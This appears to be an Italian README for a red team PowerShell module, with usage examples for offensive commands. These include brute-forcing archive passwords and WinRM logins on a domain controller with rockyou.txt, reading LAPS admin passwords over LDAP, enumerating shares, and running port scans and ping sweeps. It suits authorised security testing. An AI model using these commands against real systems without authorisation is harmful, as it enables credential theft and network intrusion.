
Raccolta di funzioni PowerShell che un Red Teamer potrebbe utilizzare in un'operazione.
Raccolta di funzioni PowerShell che un membro del Red Team può utilizzare per raccogliere dati da una macchina o ottenere accesso a un target. Ho aggiunto file ps1 per i comandi inclusi nel modulo RedTeamEnum. Questo ti permetterà di trovare e utilizzare facilmente un singolo comando se è tutto ciò che desideri. Se vuoi l'intero modulo, esegui le seguenti azioni dopo aver scaricato la directory RedTeamEnum e i suoi contenuti sul tuo dispositivo.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Questo copierà il modulo in una posizione che ti permette di importarlo facilmente. Se stai utilizzando la sincronizzazione OneDrive potresti aver bisogno di usare $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum invece.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Questo importerà tutti i comandi nel modulo.
C:\PS> Get-Command -Module RedTeamEnum
# Questo elencherà tutti i comandi nel modulo.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Entrambi gli esempi sopra convertono la stringa Password123 in un valore hash MD5
C:\PS> Convert-SID -Username tobor
# L'esempio sopra converte il SID di tobor
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# L'esempio sopra converte il valore SID nel nome utente associato
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Questo esempio utilizza le password nel file pass.txt per decifrare il file KiTTY.7z protetto da password
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Questo esempio testa l'unica password definita contro entrambi gli utenti admin e administrator sul computer remoto DC01.domain.com usando WinRM su HTTPS con un intervallo di 5 minuti tra ogni tentativo
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Questo esempio testa ogni password in rockyou.txt contro ogni nome utente nel file users.txt senza pause tra i tentativi
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# L'esempio sopra restituisce tutte le proprietà degli oggetti restituiti in domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Se eseguito come amministratore, restituirà la password LAPS per l'account amministratore locale
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTA: Se includi lo switch "-Detailed" e pipi l'output a Where-Object, non restituirà alcuna proprietà. Se desideri visualizzare tutte le proprietà del tuo risultato, dovrai eseguirlo usando il formato sottostante
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# L'esempio sopra restituisce informazioni sulla condivisione C$ sulla macchina locale
#RISULTATI
Name : C$
InstallDate :
Description : Condivisione predefinita
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# L'esempio sopra scopre e restituisce informazioni su NETLOGON, SYSVOL e C$ sui tre dispositivi remoti DC01, DC02 e 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
Apri il server HTTP sulla porta 8000
#OPPURE
C:\PS> Start-SimpleHTTPServer -Port 80
# Apri il server HTTP sulla porta 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTA: Il parametro Source funziona solo se il valore IP Source Routing è "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# Il valore predefinito per Count è 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple